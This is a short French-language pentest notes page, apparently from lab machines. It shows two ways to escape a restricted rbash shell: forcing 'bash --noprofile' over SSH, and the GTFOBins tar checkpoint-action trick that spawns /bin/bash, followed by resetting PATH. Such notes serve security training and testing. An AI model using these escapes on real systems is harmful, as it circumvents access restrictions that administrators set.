# Escaping RBash to Normal Bash - Linux

### SSH Rbash:

L'utilisateur `mindy` utilise actuellement un shell `rbash` qui limite l'exécution de nombreuses commandes.&#x20;

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FQ4R62ANcs7leVXGfFu4A%2Fimage.png?alt=media&#x26;token=9c2565b5-8e64-43ef-a20c-0d963b747ebe" alt=""><figcaption></figcaption></figure>

Pour contourner cette restriction, nous utilisons la commande suivante lors de la connexion SSH pour obtenir un shell Bash :

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FaIEn1h3hVdg7vcjf6q18%2Fimage.png?alt=media&#x26;token=0d164297-ff8d-45d3-bb8b-df5ed8c3058b" alt=""><figcaption></figcaption></figure>

### **Bypass rbash - tar**

Nous nous connectons en tant qu’Ayush, mais nous sommes limités à une shell `rbash`.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FUmxvtsR485lDvzMncHSN%2F%7BE7269D07-4C20-424B-9EF7-9E712E9408C2%7D.png?alt=media&#x26;token=1019ac68-51f0-4784-9c12-5f03769525b7" alt=""><figcaption></figcaption></figure>

Liste des commandes disponibles :

```bash
compgen -c
```

Nous trouvons `tar` et contournons `rbash` avec :

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FO9HW7jJATFj87v6wWbSj%2Fimage.png?alt=media&#x26;token=83088693-1316-4624-b2e9-aa63eb8de71c" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fqh2tNkcP3VMIKaHBwiET%2F%7BBD5A2740-866A-49E0-82EF-6940008D6F95%7D.png?alt=media&#x26;token=464c2a72-cf36-457b-9d1c-b65ec9e53161" alt=""><figcaption></figcaption></figure>
